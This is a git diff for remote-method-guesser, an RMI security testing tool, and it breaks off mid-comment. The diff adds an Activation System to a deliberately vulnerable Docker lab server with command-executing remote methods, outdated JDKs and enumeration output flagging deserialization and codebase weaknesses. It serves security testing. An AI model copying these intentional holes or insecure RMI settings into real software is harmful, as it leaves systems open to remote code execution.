diff --git a/CHANGELOG.md b/CHANGELOG.md index 5614bd08..eaf9175d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,23 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [4.3.0] - May 11, 2022 + +### Added + +* Add support for `ActivatableRef` ([docs](/docs/rmg/actions.md#activatable-bound-names)) +* Add test cases for `ActivatableRef` + +### Changed + +* Update list of known endpoints ([docs](/docs/rmi/known-endpoints.md)) +* Update outdated documentation + +### Docker + +* The [example server](/docker/example-server) now provides a full working *Activation System* on port `1098` + + ## [4.2.2] - Jan 11, 2022 ### Changed diff --git a/README.md b/README.md index d897b9f6..0bb03654 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ [![](https://github.com/qtc-de/remote-method-guesser/workflows/master%20maven%20CI/badge.svg?branch=master)](https://github.com/qtc-de/remote-method-guesser/actions/workflows/master.yml) [![](https://github.com/qtc-de/remote-method-guesser/workflows/develop%20maven%20CI/badge.svg?branch=develop)](https://github.com/qtc-de/remote-method-guesser/actions/workflows/develop.yml) -[![](https://img.shields.io/badge/version-4.2.2-blue)](https://github.com/qtc-de/remote-method-guesser/releases) +[![](https://img.shields.io/badge/version-4.3.0-blue)](https://github.com/qtc-de/remote-method-guesser/releases) [![](https://img.shields.io/badge/build%20system-maven-blue)](https://maven.apache.org/) ![](https://img.shields.io/badge/java-8%2b-blue) [![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/remote-method-guesser/blob/master/LICENSE) diff --git a/docker/example-server/CHANGELOG.md b/docker/example-server/CHANGELOG.md new file mode 100644 index 00000000..7cc19c9a --- /dev/null +++ b/docker/example-server/CHANGELOG.md @@ -0,0 +1,20 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + + +## [3.3] - May 08, 2022 + +### Changed + +* Fix timestamp for log messages + + +## [3.2] - May 06, 2022 + +### Changed + +* Add activation system on port 1098 diff --git a/docker/example-server/Dockerfile-jdk11 b/docker/example-server/Dockerfile-jdk11 index 9b2813e2..3601b168 100644 --- a/docker/example-server/Dockerfile-jdk11 +++ b/docker/example-server/Dockerfile-jdk11 @@ -39,6 +39,6 @@ ENV _JAVA_OPTIONS -Djava.rmi.server.hostname=iinsecure.dev \ -Djava.security.policy=/opt/policy \ -Djava.rmi.server.codebase=http://iinsecure.dev/well-hidden-development-folder/ -EXPOSE 1090/tcp 9010/tcp +EXPOSE 1090/tcp 1098/tcp 9010/tcp CMD ["/opt/start.sh"] diff --git a/docker/example-server/Dockerfile-jdk8 b/docker/example-server/Dockerfile-jdk8 index 9ecde971..78d8ad30 100644 --- a/docker/example-server/Dockerfile-jdk8 +++ b/docker/example-server/Dockerfile-jdk8 @@ -29,6 +29,6 @@ ENV _JAVA_OPTIONS -Djava.rmi.server.hostname=iinsecure.dev \ -Djava.security.policy=/opt/policy \ -Djava.rmi.server.codebase=http://iinsecure.dev/well-hidden-development-folder/ -EXPOSE 1090/tcp 9010/tcp +EXPOSE 1090/tcp 1098/tcp 9010/tcp CMD ["/opt/start.sh"] diff --git a/docker/example-server/Dockerfile-jdk9 b/docker/example-server/Dockerfile-jdk9 index eece875d..9e0a1e03 100644 --- a/docker/example-server/Dockerfile-jdk9 +++ b/docker/example-server/Dockerfile-jdk9 @@ -39,6 +39,6 @@ ENV _JAVA_OPTIONS -Djava.rmi.server.hostname=iinsecure.dev \ -Djava.security.policy=/opt/policy \ -Djava.rmi.server.codebase=http://iinsecure.dev/well-hidden-development-folder/ -EXPOSE 1090/tcp 9010/tcp +EXPOSE 1090/tcp 1098/tcp 9010/tcp CMD ["/opt/start.sh"] diff --git a/docker/example-server/README.md b/docker/example-server/README.md index e9c765ba..9c0315a9 100644 --- a/docker/example-server/README.md +++ b/docker/example-server/README.md @@ -5,28 +5,29 @@ The *example-server* provided by this repository can be used to test all features of *remote-method-guesser*. You can either build the container from source or pull it from *GitHub Packages*. -* To build from source, just clone the repository, switch to the [docker directory](/docker/example-server) and run ``docker build .`` - to create the container. If you also want to make adjustments to the example server, modify the [source code](/docker/example-server/resources/server) - and rebuild the container. +* To build from source, just clone the repository, switch to the [docker directory](/docker/example-server), remove the version suffix + of the desired version and run `docker build .` to create the container. If you also want to make adjustments to the example server, + modify the [source code](/docker/example-server/resources/server) and rebuild the container. * To load the container from the *GitHub Container Registry* just use the corresponding pull command: ```console - $ docker pull ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk9 + $ docker pull ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk8 + $ docker pull ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk9 + $ docker pull ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk11 ``` -To change the default configuration of the container (like e.g. the *SSL* certificate), you can modify the [docker-compose.yml](/docker/example-server/docker-compose.yml) -and start the container using ``docker-compose up``. From container version *v3.0* on, the container is available in two different versions: *jdk9* and *jdk11*. -As the names suggest, the first one is build based on *openjdk-9*, whereas the second one is based on *openjdk-11*. Since *openjdk-9* is no longer maintained, -this container version is vulnerable to some older *RMI* vulnerabilities (e.g. *localhost* and *An Trinh bypass*). The *jdk11* version, on the other hand, -is fully patched at the time of building. +To change the default configuration of the container (like e.g. the *SSL* certificate), you can modify the [docker-compose.yml](./docker-compose-jdk8.yml) +and start the container using `docker-compose up`. From container version *v3.0* on, the container is available in three different versions: *jdk8*, *jdk9* +and *jdk11*. As the names suggest, the first one is build based on *openjdk-8*, whereas the others are based on *openjdk-9* and *openjdk-11*. The Java +versions associated with the *jdk8* and *jdk9* container are intentionally outdated to experiment with different *RMI* vulnerabilities. ### Configuration Details ---- -When launched in its default configuration, the container starts two *Java rmiregistry* instances on port ``1090`` and port ``9010``. -The registry on port ``1090`` is *SSL* protected and contains three available bound names: +When launched in its default configuration, the container starts *Java rmiregistry* instances on port `1090`, `1098` and `9010`. +The registry on port `1090` is *SSL* protected and contains three available bound names: ```console [qtc@devbox ~]$ rmg enum --ssl 172.17.0.2 1090 @@ -34,13 +35,13 @@ The registry on port ``1090`` is *SSL* protected and contains three available bo [+] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) -[+] Endpoint: iinsecure.dev:39745 ObjID: [32d2a880:17d74a926a9:-7fff, -35871153036852369] +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7fff, 8831379559932805383] [+] - ssl-server [+] --> de.qtc.rmg.server.interfaces.ISslServer (unknown class) -[+] Endpoint: iinsecure.dev:43813 ObjID: [32d2a880:17d74a926a9:-7ffe, 6244338894849023886] +[+] Endpoint: iinsecure.dev:42031 TLS: yes ObjID: [-492549a8:1809adab6bf:-7ffe, -8819602238278920745] [+] - secure-server [+] --> de.qtc.rmg.server.interfaces.ISecureServer (unknown class) -[+] Endpoint: iinsecure.dev:39745 ObjID: [32d2a880:17d74a926a9:-7ffd, -5872963829887623237] +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7ffd, -5037949272481440924] [+] [+] RMI server codebase enumeration: [+] @@ -88,10 +89,77 @@ The registry on port ``1090`` is *SSL* protected and contains three available bo [+] Configuration Status: Current Default ``` -The registry on port ``9010`` can be contacted without *SSL* and exposes also three bound names. In contrast to the previous setup, two of -the exposed bound names belong to the same remote interface. Furthermore, the last remaining bound name belongs to a remote class that uses +The registry on port `1098` hosts an *Activation System* and has some *activatable remote objects* bound: + +```console +[qtc@devbox ~]$ rmg enum 172.17.0.2 1098 +[+] RMI registry bound names: +[+] +[+] - activation-test +[+] --> de.qtc.rmg.server.activation.IActivationService (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: -492549a8:1809adab6bf:-7ff1 +[+] - activation-test2 +[+] --> de.qtc.rmg.server.activation.IActivationService2 (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: -492549a8:1809adab6bf:-7fee +[+] - plain-server +[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7fec, 5541025679742310482] +[+] - java.rmi.activation.ActivationSystem +[+] --> sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activator) +[+] Endpoint: iinsecure.dev:1098 TLS: no ObjID: [0:0:0, 4] +[+] +[+] RMI server codebase enumeration: +[+] +[+] - http://iinsecure.dev/well-hidden-development-folder/ +[+] --> de.qtc.rmg.server.interfaces.IPlainServer +[+] --> de.qtc.rmg.server.activation.IActivationService +[+] --> sun.rmi.server.Activation$ActivationSystemImpl_Stub +[+] --> de.qtc.rmg.server.activation.IActivationService2 +[+] +[+] RMI server String unmarshalling enumeration: +[+] +[+] - Caught ClassNotFoundException during lookup call. +[+] --> The type java.lang.String is unmarshalled via readObject(). +[+] Configuration Status: Outdated +[+] +[+] RMI server useCodebaseOnly enumeration: +[+] +[+] - Caught MalformedURLException during lookup call. +[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). +[+] Configuration Status: Non Default +[+] +[+] RMI registry localhost bypass enumeration (CVE-2019-2684): +[+] +[+] - Registry rejected unbind call cause it was not send from localhost. +[+] Vulnerability Status: Non Vulnerable +[+] +[+] RMI Security Manager enumeration: +[+] +[+] - Security Manager rejected access to the class loader. +[+] --> The server does use a Security Manager. +[+] Configuration Status: Current Default +[+] +[+] RMI server JEP290 enumeration: +[+] +[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). +[+] Vulnerability Status: Non Vulnerable +[+] +[+] RMI registry JEP290 bypass enmeration: +[+] +[+] - Caught IllegalArgumentException after sending An Trinh gadget. +[+] Vulnerability Status: Vulnerable +[+] +[+] RMI ActivationSystem enumeration: +[+] +[+] - Caught IllegalArgumentException during activate call (activator is present). +[+] --> Deserialization allowed - Vulnerability Status: Vulnerable +[+] --> Client codebase enabled - Configuration Status: Non Default +``` + +The registry on port ``9010`` can be contacted without *SSL* and exposes three bound names. In contrast to the first setup, two of the +exposed bound names belong to the same remote interface. Furthermore, the last remaining bound name belongs to a remote class that uses *statically compiled stubs* ([legacy-rmi](https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmic.html)). Additionally, this -registry port binds an RMI Activator instance. +registry port binds an *RMI Activator instance*, but not a full working *Activation System*. ```console @@ -100,13 +168,13 @@ registry port binds an RMI Activator instance. [+] [+] - plain-server2 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) -[+] Endpoint: iinsecure.dev:39745 ObjID: [32d2a880:17d74a926a9:-7ff7, -4320341974808185127] +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7ff7, 8893583921173173865] [+] - legacy-service [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) -[+] Endpoint: iinsecure.dev:39745 ObjID: [32d2a880:17d74a926a9:-7ffc, 7423522285359236174] +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7ffc, -5452660335673756521] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) -[+] Endpoint: iinsecure.dev:39745 ObjID: [32d2a880:17d74a926a9:-7ff8, -1649467184009238448] +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7ff8, 5860842907020657289] [+] [+] RMI server codebase enumeration: [+] @@ -156,7 +224,8 @@ registry port binds an RMI Activator instance. The corresponding remote objects get assigned a random port during the server startup. By default, the example server uses colored output. You can disable it by using the corresponding environment variable -within the ``docker-compose.yml`` file. Another environment variable can be used to enable *codebase logging*: +within the [docker-compose.yml](./docker-compose-jdk8.yml) file. Another environment variable can be used +to enable *codebase logging*: ```yaml environment: @@ -169,45 +238,57 @@ Each successful method call is logged on the server side. The following listing was started. Additionally, one successful method call on the ``login`` method was logged: ```console -[qtc@devbox ~]$ docker run docker.pkg.github.com/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk9 +[qtc@devbox ~]$ docker run ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk9 [+] IP address of the container: 172.17.0.2 [+] Adding gateway address to /etc/hosts file... [+] Adding RMI hostname to /etc/hosts file... [+] Starting rmi server... Picked up _JAVA_OPTIONS: -Djava.rmi.server.hostname=iinsecure.dev -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=/opt/policy -Djava.rmi.server.codebase=http://iinsecure.dev/well-hidden-development-folder/ -[2021.03.26 - 05:16:47] Initializing Java RMI Server: -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Creating RMI-Registry on port 1090 -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Creating PlainServer object. -[2021.03.26 - 05:16:47] Binding Object as plain-server -[2021.03.26 - 05:16:47] Boundname plain-server with interface IPlainServer is ready. -[2021.03.26 - 05:16:47] Creating SSLServer object. -[2021.03.26 - 05:16:47] Binding Object as ssl-server -[2021.03.26 - 05:16:47] Boundname ssl-server with interface ISslServer is ready. -[2021.03.26 - 05:16:47] Creating SecureServer object. -[2021.03.26 - 05:16:47] Binding Object as secure-server -[2021.03.26 - 05:16:47] Boundname secure-server with interface ISecureServer is ready. -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Server setup finished. -[2021.03.26 - 05:16:47] Initializing legacy server. -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Creating RMI-Registry on port 9010 -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Creating LegacyServiceImpl object. -[2021.03.26 - 05:16:47] Binding LegacyServiceImpl as legacy-service -[2021.03.26 - 05:16:47] Boundname legacy-service with class de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub is ready. -[2021.03.26 - 05:16:47] Creating PlainServer object. -[2021.03.26 - 05:16:47] Binding Object as plain-server -[2021.03.26 - 05:16:47] Boundname plain-server with interface IPlainServer is ready. -[2021.03.26 - 05:16:47] Creating another PlainServer object. -[2021.03.26 - 05:16:47] Binding Object as plain-server2 -[2021.03.26 - 05:16:47] Boundname plain-server2 with interface IPlainServer is ready. -[2021.03.26 - 05:16:47] Creating ActivatorImp object. -[2021.03.26 - 05:16:47] Activator is ready. -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Server setup finished. -[2021.03.26 - 05:16:47] Waiting for incoming connections. +[2022.05.06 - 19:45:12] Initializing Java RMI Server: +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Creating RMI-Registry on port 1090 +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Creating PlainServer object. +[2022.05.06 - 19:45:12] Binding Object as plain-server +[2022.05.06 - 19:45:12] Boundname plain-server with interface IPlainServer is ready. +[2022.05.06 - 19:45:12] Creating SSLServer object. +[2022.05.06 - 19:45:12] Binding Object as ssl-server +[2022.05.06 - 19:45:12] Boundname ssl-server with interface ISslServer is ready. +[2022.05.06 - 19:45:12] Creating SecureServer object. +[2022.05.06 - 19:45:12] Binding Object as secure-server +[2022.05.06 - 19:45:12] Boundname secure-server with interface ISecureServer is ready. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Server setup finished. +[2022.05.06 - 19:45:12] Initializing legacy server. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Creating RMI-Registry on port 9010 +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Creating LegacyServiceImpl object. +[2022.05.06 - 19:45:12] Binding LegacyServiceImpl as legacy-service +[2022.05.06 - 19:45:12] Boundname legacy-service with class de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub is ready. +[2022.05.06 - 19:45:12] Creating PlainServer object. +[2022.05.06 - 19:45:12] Binding Object as plain-server +[2022.05.06 - 19:45:12] Boundname plain-server with interface IPlainServer is ready. +[2022.05.06 - 19:45:12] Creating another PlainServer object. +[2022.05.06 - 19:45:12] Binding Object as plain-server2 +[2022.05.06 - 19:45:12] Boundname plain-server2 with interface IPlainServer is ready. +[2022.05.06 - 19:45:12] Creating ActivatorImp object. +[2022.05.06 - 19:45:12] Activator is ready. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Server setup finished. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Creating ActivationSystem on port 1098 +[2022.05.06 - 19:45:12] Binding Object as activation-test +[2022.05.06 - 19:45:12] Boundname activation-test with interface Remote is ready. +[2022.05.06 - 19:45:12] Binding Object as activation-test2 +[2022.05.06 - 19:45:12] Boundname activation-test2 with interface Remote is ready. +[2022.05.06 - 19:45:12] Binding Object as plain-server +[2022.05.06 - 19:45:12] Boundname plain-server with interface IPlainServer is ready. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Server setup finished. +[2022.05.06 - 19:45:12] Waiting for incoming connections. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] [SecureServer]: Processing call for String login(HashMap credentials) ``` One core feature of *remote-method-guesser* is that it allows *safe method guessing* without invoking method calls on the server side. @@ -221,14 +302,11 @@ and ``codebase`` actions, no valid calls should be logged on the server side. Each remote object on the *example-server* implements different kinds of vulnerable remote methods that can be detected by *rmg*. Some methods are vulnerably by design (e.g. execute operating system commands on invocation) -others can be exploited by *deserialization* or *codebase* attacks as mentioned in the [README.md](../README.md) +others can be exploited by *deserialization* or *codebase* attacks as mentioned in the [README.md](/README.md) of this project. In the following, the corresponding interfaces are listed. -#### Plain Server - -The remote object that is bound as ``plain-server`` uses a plain *TCP* connection without *SSL*. It implements -the following interface: +#### IPlainServer ```java public interface IPlainServer extends Remote @@ -241,11 +319,7 @@ public interface IPlainServer extends Remote } ``` - -#### SSL Server - -The remote object that is bound as ``ssl-server`` uses an *SSL* protected *TCP* connection. It implements -the following interface: +#### ISslServer ```java public interface ISslServer extends Remote @@ -257,8 +331,7 @@ public interface ISslServer extends Remote } ``` - -#### Secure Server +#### ISecureServer The remote object that is bound as ``secure-server`` uses a plain *TCP* connection without *SSL*. It implements the following interface: @@ -272,11 +345,7 @@ public interface ISecureServer extends Remote } ``` - -#### Legacy Service - -The remote object that is bound as ``legacy-service`` uses a plain *TCP* connection without *SSL*. It implements -the following interface: +#### LegacyService ```java public interface LegacyService extends Remote @@ -290,81 +359,23 @@ public interface LegacyService extends Remote } ``` +#### IActivationService -### Example Run - ----- - -The following listing shows an example run of *remote-method-guessers* ``guess`` action against both of the exposed -*rmiregistry* endpoints: - -#### 1090 Registry - -```console -[qtc@devbox ~]$ rmg guess --ssl 172.17.0.2 1090 -[+] Reading method candidates from internal wordlist rmg.txt -[+] 752 methods were successfully parsed. -[+] Reading method candidates from internal wordlist rmiscout.txt -[+] 2550 methods were successfully parsed. -[+] -[+] Starting Method Guessing on 3281 method signature(s). -[+] -[+] MethodGuesser is running: -[+] -------------------------------- -[+] [ plain-server ] HIT! Method with signature String execute(String dummy) exists! -[+] [ plain-server ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! -[+] [ ssl-server ] HIT! Method with signature String system(String[] dummy) exists! -[+] [ ssl-server ] HIT! Method with signature int execute(String dummy) exists! -[+] [ ssl-server ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! -[+] [ secure-server ] HIT! Method with signature void logMessage(int dummy1, Object dummy2) exists! -[+] [ secure-server ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! -[+] [ secure-server ] HIT! Method with signature void updatePreferences(java.util.ArrayList dummy1) exists! -[+] [9843 / 9843] [#####################################] 100% -[+] done. -[+] -[+] Listing successfully guessed methods: -[+] -[+] - plain-server -[+] --> String execute(String dummy) -[+] --> String system(String dummy, String[] dummy2) -[+] - ssl-server -[+] --> String system(String[] dummy) -[+] --> int execute(String dummy) -[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) -[+] - secure-server -[+] --> void logMessage(int dummy1, Object dummy2) -[+] --> String login(java.util.HashMap dummy1) -[+] --> void updatePreferences(java.util.ArrayList dummy1) +```java +public interface IActivationService extends Remote +{ + String execute(String cmd) throws RemoteException; + String system(String cmd, String[] args) throws RemoteException; +} ``` -#### 9010 Registry +#### IActivationService2 -```console -[qtc@devbox ~]$ rmg guess 172.17.0.2 9010 -[+] Reading method candidates from internal wordlist rmg.txt -[+] 752 methods were successfully parsed. -[+] Reading method candidates from internal wordlist rmiscout.txt -[+] 2550 methods were successfully parsed. -[+] -[+] Starting Method Guessing on 3281 method signature(s). -[+] -[+] MethodGuesser is running: -[+] -------------------------------- -[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! -[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! -[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! -[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! -[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! -[+] [6562 / 6562] [#####################################] 100% -[+] done. -[+] -[+] Listing successfully guessed methods: -[+] -[+] - plain-server2 == plain-server -[+] --> String execute(String dummy) -[+] --> String system(String dummy, String[] dummy2) -[+] - legacy-service -[+] --> void logMessage(int dummy1, String dummy2) -[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) -[+] --> String login(java.util.HashMap dummy1) +```java +public interface IActivationService2 extends Remote +{ + String login(HashMap credentials) throws RemoteException; + void logMessage(int logLevel, Object message) throws RemoteException; + void updatePreferences(ArrayList preferences) throws RemoteException; +} ``` diff --git a/docker/example-server/docker-compose-jdk11.yml b/docker/example-server/docker-compose-jdk11.yml index 8f57def8..a87af261 100644 --- a/docker/example-server/docker-compose-jdk11.yml +++ b/docker/example-server/docker-compose-jdk11.yml @@ -2,7 +2,7 @@ version: '3.7' services: rmg: - image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk11 + image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk11 build: . environment: - > diff --git a/docker/example-server/docker-compose-jdk8.yml b/docker/example-server/docker-compose-jdk8.yml index 704d84ab..3d50a355 100644 --- a/docker/example-server/docker-compose-jdk8.yml +++ b/docker/example-server/docker-compose-jdk8.yml @@ -2,7 +2,7 @@ version: '3.7' services: rmg: - image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk8 + image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk8 build: . environment: - > diff --git a/docker/example-server/docker-compose-jdk9.yml b/docker/example-server/docker-compose-jdk9.yml index 049f66f4..73a9a1fa 100644 --- a/docker/example-server/docker-compose-jdk9.yml +++ b/docker/example-server/docker-compose-jdk9.yml @@ -2,7 +2,7 @@ version: '3.7' services: rmg: - image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk9 + image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk9 build: . environment: - > diff --git a/docker/example-server/resources/server/pom.xml b/docker/example-server/resources/server/pom.xml index f7f2ec31..c3694b52 100644 --- a/docker/example-server/resources/server/pom.xml +++ b/docker/example-server/resources/server/pom.xml @@ -3,7 +3,7 @@ 4.0.0 de.qtc.rmg.server.ExampleServer rmg-example-server - 3.1.0 + 3.3.0 rmg-example-server RMG Example Server diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/ExampleServer.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/ExampleServer.java index 5846dd2f..39dc38fa 100644 --- a/docker/example-server/resources/server/src/de/qtc/rmg/server/ExampleServer.java +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/ExampleServer.java @@ -1,6 +1,5 @@ package de.qtc.rmg.server; -import java.rmi.AccessException; import java.rmi.AlreadyBoundException; import java.rmi.NotBoundException; import java.rmi.Remote; @@ -12,6 +11,7 @@ import javax.rmi.ssl.SslRMIClientSocketFactory; import javax.rmi.ssl.SslRMIServerSocketFactory; +import de.qtc.rmg.server.activation.ActivationServer; import de.qtc.rmg.server.interfaces.IPlainServer; import de.qtc.rmg.server.interfaces.ISecureServer; import de.qtc.rmg.server.interfaces.ISslServer; @@ -20,6 +20,7 @@ import de.qtc.rmg.server.operations.SecureServer; import de.qtc.rmg.server.operations.SslServer; import de.qtc.rmg.server.utils.Logger; +import de.qtc.rmg.server.utils.Utils; public class ExampleServer { @@ -31,7 +32,7 @@ public class ExampleServer { public static void main(String[] argv) { String disableColor = System.getProperty("de.qtc.rmg.server.disableColor"); - if( disableColor != null && disableColor.equalsIgnoreCase("true") ) + if (disableColor != null && disableColor.equalsIgnoreCase("true")) Logger.disableColor(); Logger.println("Initializing Java RMI Server:"); @@ -46,24 +47,25 @@ public static void main(String[] argv) SslRMIClientSocketFactory csf = new SslRMIClientSocketFactory(); SslRMIServerSocketFactory ssf = new SslRMIServerSocketFactory(); - Logger.printlnMixedYellow("Creating RMI-Registry on port", String.valueOf(registryPort)); + Logger.printMixedBlue("Creating", "RMI-Registry", "on port "); + Logger.printlnPlainYellow(String.valueOf(registryPort)); Registry registry = LocateRegistry.createRegistry(registryPort, csf, ssf); Logger.println(""); Logger.printlnMixedBlue("Creating", "PlainServer", "object."); remoteObject1 = new PlainServer(); IPlainServer stub = (IPlainServer)UnicastRemoteObject.exportObject(remoteObject1, 0); - bindToRegistry(stub, registry, "plain-server"); + Utils.bindToRegistry(stub, registry, "plain-server"); Logger.printlnMixedBlue("Creating", "SSLServer", "object."); remoteObject2 = new SslServer(); ISslServer stub2 = (ISslServer)UnicastRemoteObject.exportObject(remoteObject2, 0, csf, ssf); - bindToRegistry(stub2, registry, "ssl-server"); + Utils.bindToRegistry(stub2, registry, "ssl-server"); Logger.printlnMixedBlue("Creating", "SecureServer", "object."); remoteObject3 = new SecureServer(); ISecureServer stub3 = (ISecureServer)UnicastRemoteObject.exportObject(remoteObject3, 0); - bindToRegistry(stub3, registry, "secure-server"); + Utils.bindToRegistry(stub3, registry, "secure-server"); Logger.decreaseIndent(); Logger.println(""); @@ -72,23 +74,11 @@ public static void main(String[] argv) Logger.println(""); LegacyServer.init(); + ActivationServer.init(); } catch (RemoteException | AlreadyBoundException | NotBoundException e) { - System.err.println("[-] Unexpected RMI Error:"); + Logger.eprintln("Unexpected RMI Error:"); e.printStackTrace(); } } - - public static void bindToRegistry(Remote object, Registry registry, String boundName) throws AccessException, RemoteException, AlreadyBoundException, NotBoundException - { - Logger.increaseIndent(); - Logger.printlnMixedYellow("Binding Object as", boundName); - registry.bind(boundName, object); - - Object o = registry.lookup(boundName); - String className = o.getClass().getInterfaces()[0].getSimpleName(); - Logger.printMixedYellow("Boundname", boundName); - Logger.printlnPlainMixedBlue(" with interface", className, "is ready."); - Logger.decreaseIndent(); - } } diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationServer.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationServer.java new file mode 100644 index 00000000..ee1abab8 --- /dev/null +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationServer.java @@ -0,0 +1,117 @@ +package de.qtc.rmg.server.activation; + +import java.rmi.AccessException; +import java.rmi.AlreadyBoundException; +import java.rmi.NotBoundException; +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.rmi.activation.Activatable; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationGroup; +import java.rmi.activation.ActivationGroupDesc; +import java.rmi.activation.ActivationGroupID; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.rmi.server.UnicastRemoteObject; +import java.util.Properties; + +import de.qtc.rmg.server.interfaces.IPlainServer; +import de.qtc.rmg.server.operations.PlainServer; +import de.qtc.rmg.server.utils.Logger; +import de.qtc.rmg.server.utils.Utils; + +/** + * Create an ActivationServer. This class does basically the same as rmid, but skips some configuration + * steps and does only the necessary once. The resulting server seems to work fine, but it is possible + * that it is not fully functional due to some missing configuration steps. + * + * @author Tobias Neitzel (@qtc_de) + */ +@SuppressWarnings("unused") +public class ActivationServer +{ + private static int activationSystemPort = 1098; + private static Remote remoteObject1 = null; + private static Remote remoteObject2 = null; + private static Remote remoteObject3 = null; + + private final static String codebase = "file:///opt/example-server.jar"; + + /** + * Create the RMI registry and the Activator and bind an ActivationSystem to it. Afterwards, an activation + * group is created and two activatable RMI services are bound to the registry. Additionally, we bind one + * non activatable service. + */ + public static void init() + { + Logger.increaseIndent(); + + try { + Logger.printMixedBlue("Creating", "ActivationSystem", "on port "); + Logger.printlnPlainYellow(String.valueOf(activationSystemPort)); + Utils.startActivation(activationSystemPort, null, "/tmp/activation-log", null); + + Properties props = new Properties(); + props.put("java.security.policy", "/opt/policy"); + props.put("java.security.debug", ""); + + ActivationGroupDesc groupDesc = new ActivationGroupDesc(props, null); + + /* + * In the following we register the activation group. For some reason, this creates a ThreadDump, + * although the operation finished and the group is registered correctly. I have no idea where this + * ThreadDump comes from. If someone knows, please create an issue that explains it :) + * + * The code below disables stderr temporarily to prevent the ThreadDump to confuse users. Here is + * the StackTrace that would be shown otherwise: + * java.lang.Exception: Stack trace + * at java.lang.Thread.dumpStack(Thread.java:1336) + * at sun.rmi.server.Activation$ActivationSystemImpl.registerGroup(Activation.java:538) + * at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + * at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + * at 